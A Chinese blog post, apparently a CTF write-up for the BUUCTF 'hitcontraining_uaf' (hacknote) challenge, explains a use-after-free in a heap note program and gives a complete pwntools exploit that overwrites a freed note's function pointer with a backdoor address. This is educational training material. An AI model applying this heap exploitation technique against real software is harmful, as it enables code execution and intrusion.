buu|hitcontraining_uaf 1

6 篇文章 1 订阅

buu|hitcontraining_uaf 1

一道典型的菜单类堆题,并有后门
在这里插入图片描述
在这里插入图片描述

其主函数中add:
在这里插入图片描述
这里一次会申请两个堆,其中第一个堆放着print_note_content
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
前4个字节位是print_note_content函数地址,这个堆块儿存在了notelist中
在这里插入图片描述

在执行print_notet时,会调用notelist里存储print_note_content函数地址的堆块儿,及我们只需将notelist里堆块儿存的print_note_content函数地址改成后门函数地址即可
申请两个堆块儿

add('40','aaaa')  #chunk0
add('40','aaaa')  #chunk1

在这里插入图片描述
释放掉

delete('0')
delete('1')

在这里插入图片描述
0x10里有两个堆,都是之前存放print_note_content的。
再申请大小为0x8 的堆,0x10里的两个堆就会被申请出来,其中一个我们就可以修改了.

gdb.attach(p)
add('8',p32(backdoor))

在这里插入图片描述
exp如下

from pwn import*
#p=remote('node4.buuoj.cn',25381)
p=process('./hacknote')
context(os='linux',log_level='debug',arch='i386')
def add(size,content):
	p.sendafter(b'Your choice :','1')
	p.sendafter(b'Note size :',size)
	p.sendafter(b'Content :',content)
	
def delete(index):
	p.sendafter(b'Your choice :','2')
	p.sendafter(b'Index :',index)
	
def printf(index):
	p.sendafter(b'Your choice :','3')
	p.sendafter(b'Index :',index)
	
backdoor=0x08048945

add('40','aaaa')  #chunk0
#gdb.attach(p)
add('40','aaaa')  #chunk1
gdb.attach(p)
delete('0')
delete('1')
gdb.attach(p)
add('8',p32(backdoor))  #chunk2
gdb.attach(p)
printf('0')
p.interactive()

flag
在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值